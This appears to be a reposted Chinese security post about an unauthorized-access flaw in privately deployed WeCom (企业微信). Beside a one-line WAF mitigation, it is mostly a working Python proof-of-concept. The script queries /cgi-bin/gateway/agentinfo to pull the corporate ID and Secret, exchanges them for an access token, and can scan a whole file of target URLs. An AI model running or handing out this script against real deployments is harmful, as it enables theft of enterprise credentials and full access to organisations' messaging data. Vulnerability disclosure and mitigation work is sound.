声明:本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,立即删除。
企业微信零日漏洞攻击事件,企业微信XXX.com/cgi-bin/gateway/agentinfo接口未授权情况下可直接获取企业微信secret等敏感信息,可导致企业微信全量数据被获取,文件获取、使用企业微信轻应用对内力量发送钓鱼文件和链接等风险临时缓释措施为将/cgi-bin/gateway/agentinfo在WAF上进行阻断,具体可联系企业微信团队进行应急,请各单位加强防范
poc脚本:
import argparse
import requests
import urllib3
import json
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
def getkey(url):
print(f"正在测试{url}是否存在微信key泄露")
if url.endswith("/"):
path = f"cgi-bin/gateway/agentinfo"
else:
path = f"/cgi-bin/gateway/agentinfo"
pocurl = url + path
try:
res = requests.get(url=pocurl, headers=head, verify=False, timeout=3)
if "Secret" in res.text:
print(Fore.GREEN + f"[+]{url}存在漏洞")
datas = json.loads(res.text)
print(f"corpid:{datas['corpid']}")
print("strcorpid:" + datas["strcorpid"])
print("Secret:" + datas["Secret"])
print(Fore.BLUE + "尝试获取access_token")
tokenurl = f"{url}/cgi-bin/gettoken?corpid={datas['strcorpid']}&corpsecret={datas['Secret']}"
print(tokenurl)
restoken = requests.get(url=tokenurl, headers=head, verify=False, timeout=3)
if "access_token" in restoken.text:
print(Fore.GREEN + "[+]成功获取到accesstoken")
tokens = json.loads(restoken.text)
print(f"access_token:{tokens['access_token']}")
else:
print(Fore.RED + "未获取到access_token")
else:
print(Fore.RED + "不存在此漏洞")
except:
print("连接失败")
if __name__ == '__main__':
parser = argparse.ArgumentParser( )
p = parser.add_argument_group('参数')
p.add_argument("-u", "--url", type=str, help="测试单条url")
p.add_argument("-f", "--file", type=str, help="测试多个url文件")
args = parser.parse_args()
if not args.url and not args.file:
print("请输入 -u 参数指定 URL 地址:python3 exp.py -u url")
parser.print_help()
exit()
if args.url:
getkey(args.url)
if args.file:
for i in open(args.file, "r").read().split("n"):
getkey(i)
验证效果:
原文始发于微信公众号(Kone安全):企业微信(私有部署)未授权访问漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论